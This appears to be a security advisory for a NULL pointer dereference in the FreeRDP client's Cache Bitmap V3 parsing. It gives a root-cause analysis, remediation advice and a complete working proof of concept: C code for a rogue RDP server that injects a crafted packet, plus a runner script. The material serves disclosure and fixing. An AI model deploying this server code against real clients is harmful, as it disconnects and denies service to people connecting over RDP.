All vulnerabilities
GHSA-cq4m-gwc5-w8rc

NULL Pointer Dereference in FreeRDP

FreeRDP
CVSS
6.5Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in3.32.0Fixed versionGitHub
Published29 Sep 2026Updated 29 Sep 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

A malicious or compromised RDP server can terminate a connecting FreeRDP client before Demand Active when the client has enabled the non-default Bitmap Cache V3 feature through /cache:codec:<rfx|nsc|jpeg>.

While waiting for Demand Active, rdp_client_connect_demand_active() forwards other Share Control PDU types to rdp_recv_out_of_sequence_pdu(). A slow-path Share Data / Update / Orders PDU can therefore reach update_read_cache_bitmap_v3_order(). When the server sets CBR3_DO_NOT_CACHE, that parser assumes update->context->cache is initialized:

if ((cache_bitmap_v3->flags & CBR3_DO_NOT_CACHE) != 0)
{
	rdpCache* cache = update->context->cache;
	WINPR_ASSERT(cache);

	if (cache_bitmap_v3->cacheId >= cache->bitmap->maxCells)
		goto fail;

The cache is created later by cache_resize() during the post-activation client-channel transition. Before Demand Active, context->cache remains NULL. Assertion-enabled builds abort at WINPR_ASSERT(cache); builds without assertions dereference the same NULL value on the following line.

The complete libfreerdp/core/orders.c blob is byte-identical in 3.31.1 and the inspected master revision. No exact public duplicate or public fix was identified. Public issue #6013, GHSA-mjw7-3mq2-996x, GHSA-c495-h83v-3prp, and GHSA-h666-rfw3-jhvj concern distinct root causes.

Impact

An affected client process terminates during connection establishment. A server that repeats the packet can prevent the selected connection from completing. The demonstrated effect is availability loss only. The report does not claim TLS bypass, authentication bypass, confidentiality loss, integrity loss, memory corruption, or code execution.

The attacker must control or compromise the RDP server, Alice must initiate the connection, and the client must have non-default Bitmap Cache V3 enabled. No prior active desktop session or FreeRDP-local privilege is required.

Validation

The unmodified FreeRDP 3.31.1 product path was exercised over a real local TLS RDP connection. The controlled FreeRDP server injected a complete 70-byte TPKT/X.224/MCS/Share Data/Update/Orders/Cache Bitmap V3 PDU from its Capabilities callback, immediately before the server state machine sent Demand Active.

Two valid packets differed only in the decoded Cache V3 flag:

  • extraFlags=0x0028, without DO_NOT_CACHE: the client reached connected=1 and exited 0.
  • extraFlags=0x0828, with DO_NOT_CACHE: the client reached update_read_cache_bitmap_v3_order, aborted on the NULL cache, and exited 134.

This control isolates the DO_NOT_CACHE branch's pre-initialization cache access from TLS, packet framing, dispatch, and ordinary Cache Bitmap V3 parsing.

Reproduction

Build the exact 3.31.1 release as shared libraries and run the attached PoC:

git clone https://github.com/FreeRDP/FreeRDP.git freerdp-src
git -C freerdp-src checkout 3.31.1
cmake -S freerdp-src -B freerdp-build \
  -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DBUILD_SHARED_LIBS=ON \
  -DWITH_VERBOSE_WINPR_ASSERT=ON
cmake --build freerdp-build --parallel 4

FREERDP_SOURCE="$PWD/freerdp-src" \
FREERDP_BUILD="$PWD/freerdp-build" \
./poc/run.sh

The runner uses loopback only, creates an ephemeral one-day certificate and test binary, runs the control and positive cases, then removes the generated certificate, private key, binary, and logs. It intentionally terminates the test client process and should be run only on a disposable local system.

Observed output:

CONTROL exit=0 connected=1 extraFlags=0x0028
POSITIVE exit=134 extraFlags=0x0828 client_terminated=1
RESULT vulnerable: the DO_NOT_CACHE order terminated the pre-Demand-Active client
CLEANUP generated certificate, key, binary, and logs removed

Suggested remediation

Before dereferencing update->context->cache in the CBR3_DO_NOT_CACHE branch, check that both the cache and bitmap cache exist. If either is absent, reject the order and return a normal protocol failure. Consider also restricting pre-Demand-Active Data PDU subtypes to the set valid in that state.

Add a real connection-state regression test for the positive pre-Demand-Active packet, the matched packet without DO_NOT_CACHE, and both assertion-enabled and assertion-disabled builds.

Complete PoC files

<!-- BEGIN FILE: poc/wire_e2e.c -->

#include <errno.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <freerdp/crypto/certificate.h>
#include <freerdp/crypto/privatekey.h>
#include <freerdp/freerdp.h>
#include <freerdp/listener.h>
#include <freerdp/peer.h>
#include <freerdp/settings.h>
#include <freerdp/transport_io.h>
#include <winpr/crt.h>
#include <winpr/ssl.h>
#include <winpr/stream.h>
#include <winpr/synch.h>
#include <winpr/winsock.h>

static const char* g_mode = NULL;
static const char* g_cert = NULL;
static const char* g_key = NULL;

static void put_u16le(BYTE** p, UINT16 value)
{
	*(*p)++ = (BYTE)(value & 0xff);
	*(*p)++ = (BYTE)(value >> 8);
}

static void put_u32le(BYTE** p, UINT32 value)
{
	put_u16le(p, (UINT16)(value & 0xffff));
	put_u16le(p, (UINT16)(value >> 16));
}

static BOOL inject_pre_demand_active(freerdp_peer* peer)
{
	BYTE packet[70] = { 0 };
	BYTE* p = packet;
	const BOOL positive = strcmp(g_mode, "positive") == 0;
	const UINT16 extraFlags = positive ? 0x0828 : 0x0028;
	const UINT32 shareId =
	    freerdp_settings_get_uint32(peer->context->settings, FreeRDP_ShareId);

	/* TPKT, X.224 Data TPDU, and MCS SendDataIndication. */
	*p++ = 0x03;
	*p++ = 0x00;
	*p++ = 0x00;
	*p++ = sizeof(packet);
	*p++ = 0x02;
	*p++ = 0xf0;
	*p++ = 0x80;
	*p++ = 0x68;
	*p++ = 0x00;
	*p++ = 0x01;
	*p++ = 0x03;
	*p++ = 0xeb;
	*p++ = 0x70;
	*p++ = 0x80;
	*p++ = 0x37;

	/* Share Control and Share Data headers for a 37-byte Update payload. */
	put_u16le(&p, 55);
	put_u16le(&p, 0x0017);
	put_u16le(&p, 0);
	put_u32le(&p, shareId);
	*p++ = 0;
	*p++ = 1;
	put_u16le(&p, 37);
	*p++ = 0x02;
	*p++ = 0;
	put_u16le(&p, 0);

	/* One secondary Cache Bitmap V3 order. */
	put_u16le(&p, 0);
	put_u16le(&p, 0);
	put_u16le(&p, 1);
	put_u16le(&p, 0);
	*p++ = 0x03;
	put_u16le(&p, 16);
	put_u16le(&p, extraFlags);
	*p++ = 0x08;

	/* Valid one-pixel, 32-bpp, uncompressed cache entry. */
	put_u16le(&p, 0);
	put_u32le(&p, 0x11111111);
	put_u32le(&p, 0x22222222);
	*p++ = 32;
	*p++ = 0;
	*p++ = 0;
	*p++ = 0;
	put_u16le(&p, 1);
	put_u16le(&p, 1);
	put_u32le(&p, 1);
	*p++ = 0x41;

	if ((size_t)(p - packet) != sizeof(packet))
	{
		fprintf(stderr, "PACKET_BUILD_ERROR length=%zu\n", (size_t)(p - packet));
		return FALSE;
	}

	fprintf(stderr,
	        "SERVER_INJECT mode=%s phase=Capabilities-before-DemandActive "
	        "extraFlags=0x%04" PRIx16 " length=%zu\n",
	        g_mode, extraFlags, sizeof(packet));

	wStream* s = Stream_New(NULL, sizeof(packet));
	if (!s)
		return FALSE;
	Stream_Write(s, packet, sizeof(packet));
	Stream_SealLength(s);

	const rdpTransportIo* io = freerdp_get_io_callbacks(peer->context);
	rdpTransport* transport = freerdp_get_transport(peer->context);
	const int rc = (io && io->WritePdu) ? io->WritePdu(transport, s) : -1;
	Stream_Free(s, TRUE);
	fprintf(stderr, "SERVER_INJECT_RESULT rc=%d\n", rc);
	return rc >= 0;
}

static DWORD WINAPI peer_main(LPVOID arg)
{
	freerdp_peer* peer = (freerdp_peer*)arg;
	HANDLE handles[32] = { 0 };

	if (!freerdp_peer_context_new(peer))
		goto out_peer;
	rdpSettings* settings = peer->context->settings;
	rdpPrivateKey* key = freerdp_key_new_from_file_enc(g_key, NULL);
	rdpCertificate* cert = freerdp_certificate_new_from_file(g_cert);
	if (!key || !cert)
		goto out_context;
	if (!freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerRsaKey, key, 1) ||
	    !freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerCertificate, cert, 1) ||
	    !freerdp_settings_set_bool(settings, FreeRDP_RdpSecurity, FALSE) ||
	    !freerdp_settings_set_bool(settings, FreeRDP_TlsSecurity, TRUE) ||
	    !freerdp_settings_set_bool(settings, FreeRDP_NlaSecurity, FALSE) ||
	    !freerdp_settings_set_bool(settings, FreeRDP_ExtSecurity, FALSE) ||
	    !freerdp_settings_set_bool(settings, FreeRDP_Authentication, FALSE) ||
	    !freerdp_settings_set_uint32(settings, FreeRDP_ColorDepth, 32))
		goto out_context;

	peer->Capabilities = inject_pre_demand_active;
	if (!peer->Initialize(peer))
		goto out_context;

	for (;;)
	{
		const DWORD count = peer->GetEventHandles(peer, handles, 32);
		if (count == 0)
			break;
		const DWORD status = WaitForMultipleObjects(count, handles, FALSE, 10000);
		if (status == WAIT_TIMEOUT || status == WAIT_FAILED ||
		    !peer->CheckFileDescriptor(peer))
			break;
	}

	peer->Disconnect(peer);
out_context:
	freerdp_peer_context_free(peer);
out_peer:
	freerdp_peer_free(peer);
	return 0;
}

static BOOL peer_accepted(freerdp_listener* listener, freerdp_peer* peer)
{
	(void)listener;
	HANDLE thread = CreateThread(NULL, 0, peer_main, peer, 0, NULL);
	if (!thread)
		return FALSE;
	CloseHandle(thread);
	return TRUE;
}

static int run_server(UINT16 port, const char* cert, const char* key, const char* mode)
{
	WSADATA wsa = { 0 };
	HANDLE handles[32] = { 0 };
	g_mode = mode;
	g_cert = cert;
	g_key = key;

	if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0 || !winpr_InitializeSSL(WINPR_SSL_INIT_DEFAULT))
		return 2;
	freerdp_listener* listener = freerdp_listener_new();
	if (!listener)
		return 2;
	listener->PeerAccepted = peer_accepted;
	if (!listener->Open(listener, "127.0.0.1", port))
	{
		fprintf(stderr, "SERVER_LISTEN_FAILED port=%" PRIu16 " errno=%d\n", port, errno);
		freerdp_listener_free(listener);
		return 2;
	}
	fprintf(stderr, "SERVER_LISTENING port=%" PRIu16 " mode=%s\n", port, mode);

	for (;;)
	{
		const DWORD count = listener->GetEventHandles(listener, handles, 32);
		if (count == 0)
			break;
		const DWORD status = WaitForMultipleObjects(count, handles, FALSE, 15000);
		if (status == WAIT_TIMEOUT || status == WAIT_FAILED ||
		    !listener->CheckFileDescriptor(listener))
			break;
	}
	listener->Close(listener);
	freerdp_listener_free(listener);
	WSACleanup();
	return 0;
}

static int run_client(UINT16 port)
{
	freerdp* instance = freerdp_new();
	if (!instance || !freerdp_context_new(instance))
		return 2;
	rdpSettings* settings = instance->context->settings;
	const BOOL ok =
	    freerdp_settings_set_string(settings, FreeRDP_ServerHostname, "127.0.0.1") &&
	    freerdp_settings_set_uint32(settings, FreeRDP_ServerPort, port) &&
	    freerdp_settings_set_bool(settings, FreeRDP_RdpSecurity, FALSE) &&
	    freerdp_settings_set_bool(settings, FreeRDP_TlsSecurity, TRUE) &&
	    freerdp_settings_set_bool(settings, FreeRDP_NlaSecurity, FALSE) &&
	    freerdp_settings_set_bool(settings, FreeRDP_ExtSecurity, FALSE) &&
	    freerdp_settings_set_bool(settings, FreeRDP_Authentication, FALSE) &&
	    freerdp_settings_set_bool(settings, FreeRDP_IgnoreCertificate, TRUE) &&
	    freerdp_settings_set_bool(settings, FreeRDP_BitmapCacheV3Enabled, TRUE) &&
	    freerdp_settings_set_uint32(settings, FreeRDP_BitmapCacheV2NumCells, 5) &&
	    freerdp_settings_set_bool(settings, FreeRDP_DeactivateClientDecoding, TRUE) &&
	    freerdp_settings_set_uint32(settings, FreeRDP_ColorDepth, 32);
	if (!ok)
		return 2;

	fprintf(stderr,
	        "CLIENT_CONNECT port=%" PRIu16 " BitmapCacheV3Enabled=1 "
	        "BitmapCacheV2NumCells=5\n",
	        port);
	const BOOL connected = freerdp_connect(instance);
	const UINT32 error = freerdp_get_last_error(instance->context);
	fprintf(stderr, "CLIENT_RESULT connected=%d last_error=0x%08" PRIx32 "\n", connected,
	        error);
	if (connected)
		freerdp_disconnect(instance);
	freerdp_context_free(instance);
	freerdp_free(instance);
	return connected ? 0 : 1;
}

int main(int argc, char** argv)
{
	if (argc < 3)
	{
		fprintf(stderr,
		        "usage: %s client PORT | server PORT CERT KEY positive|control\n",
		        argv[0]);
		return 2;
	}
	char* end = NULL;
	const long port = strtol(argv[2], &end, 10);
	if (!end || *end != '\0' || port < 1 || port > 65535)
		return 2;
	if (strcmp(argv[1], "client") == 0)
		return run_client((UINT16)port);
	if (strcmp(argv[1], "server") == 0 && argc == 6 &&
	    (strcmp(argv[5], "positive") == 0 || strcmp(argv[5], "control") == 0))
		return run_server((UINT16)port, argv[3], argv[4], argv[5]);
	return 2;
}

<!-- END FILE: poc/wire_e2e.c -->

<!-- BEGIN FILE: poc/run.sh -->

#!/bin/sh
set -eu
ulimit -c 0

SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
SOURCE=${FREERDP_SOURCE:-"$SCRIPT_DIR/../freerdp-src"}
BUILD=${FREERDP_BUILD:-"$SCRIPT_DIR/../freerdp-build"}
CONTROL_PORT=${CONTROL_PORT:-33971}
POSITIVE_PORT=${POSITIVE_PORT:-33972}
EXPECTED_REVISION=63b948ca5cb94307fd5444ee6e73927a41ccdab4
WORK=$(mktemp -d "$SCRIPT_DIR/.freerdp-cache-v3.XXXXXX")
server_pid=

cleanup() {
  if [ -n "$server_pid" ]; then
    kill "$server_pid" 2>/dev/null || true
    wait "$server_pid" 2>/dev/null || true
  fi
  rm -rf "$WORK"
}
trap cleanup EXIT INT TERM

for command in cc git openssl pkg-config timeout; do
  command -v "$command" >/dev/null 2>&1 || {
    echo "missing required command: $command" >&2
    exit 2
  }
done

test "$(git -C "$SOURCE" rev-parse HEAD)" = "$EXPECTED_REVISION" || {
  echo "FREERDP_SOURCE must be the FreeRDP 3.31.1 release revision" >&2
  exit 2
}
test -f "$BUILD/CMakeCache.txt" || {
  echo "FREERDP_BUILD must name a matching shared-library CMake build" >&2
  exit 2
}
grep -q '#define FREERDP_VERSION_FULL "3.31.1"' "$BUILD/include/freerdp/version.h" || {
  echo "FREERDP_BUILD must be a FreeRDP 3.31.1 build" >&2
  exit 2
}

PKG_CONFIG_PATH="$BUILD/libfreerdp:$BUILD/winpr${PKG_CONFIG_PATH:+:$PKG_CONFIG_PATH}"
export PKG_CONFIG_PATH
LD_LIBRARY_PATH="$BUILD/libfreerdp:$BUILD/winpr/libwinpr${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}"
export LD_LIBRARY_PATH

cc -std=gnu11 -O1 -g \
  -I"$BUILD/include" -I"$BUILD/winpr/include" \
  -I"$SOURCE/include" -I"$SOURCE/winpr/include" \
  $(pkg-config --cflags freerdp3 winpr3) \
  "$SCRIPT_DIR/wire_e2e.c" -o "$WORK/wire_e2e" \
  -L"$BUILD/libfreerdp" -L"$BUILD/winpr/libwinpr" \
  $(pkg-config --libs freerdp3 winpr3)

openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
  -subj /CN=127.0.0.1 -keyout "$WORK/server.key" -out "$WORK/server.crt" \
  >"$WORK/openssl.log" 2>&1

run_case() {
  mode=$1
  port=$2
  "$WORK/wire_e2e" server "$port" "$WORK/server.crt" "$WORK/server.key" "$mode" \
    >"$WORK/server-$mode.log" 2>&1 &
  server_pid=$!
  tries=0
  while ! grep -q SERVER_LISTENING "$WORK/server-$mode.log"; do
    tries=$((tries + 1))
    if [ "$tries" -gt 100 ]; then
      echo "server did not become ready for $mode" >&2
      sed -n '1,80p' "$WORK/server-$mode.log" >&2
      exit 2
    fi
    sleep 0.05
  done
  set +e
  timeout 10 "$WORK/wire_e2e" client "$port" >"$WORK/client-$mode.log" 2>&1
  client_rc=$?
  set -e
  kill "$server_pid" 2>/dev/null || true
  wait "$server_pid" 2>/dev/null || true
  server_pid=
  printf '%s' "$client_rc"
}

control_rc=$(run_case control "$CONTROL_PORT")
positive_rc=$(run_case positive "$POSITIVE_PORT")

test "$control_rc" -eq 0
grep -q 'CLIENT_RESULT connected=1 last_error=0x00000000' "$WORK/client-control.log"
grep -q 'SERVER_INJECT mode=control.*extraFlags=0x0028' "$WORK/server-control.log"
if grep -Eq 'AddressSanitizer|Segmentation fault|Aborted|winpr.*assert' "$WORK/client-control.log"; then
  echo "control unexpectedly crashed" >&2
  exit 1
fi

test "$positive_rc" -ne 0
grep -q 'SERVER_INJECT mode=positive.*extraFlags=0x0828' "$WORK/server-positive.log"
grep -Eq 'update_read_cache_bitmap_v3_order|Segmentation fault|Aborted|assert.*cache' \
  "$WORK/client-positive.log"

echo "CONTROL exit=$control_rc connected=1 extraFlags=0x0028"
echo "POSITIVE exit=$positive_rc extraFlags=0x0828 client_terminated=1"
echo "RESULT vulnerable: the DO_NOT_CACHE order terminated the pre-Demand-Active client"
echo "CLEANUP generated certificate, key, binary, and logs removed"

<!-- END FILE: poc/run.sh -->

Text from GitHub Advisory Database

Affected versions 1

  • FreeRDP, c= 3.31.1GitHub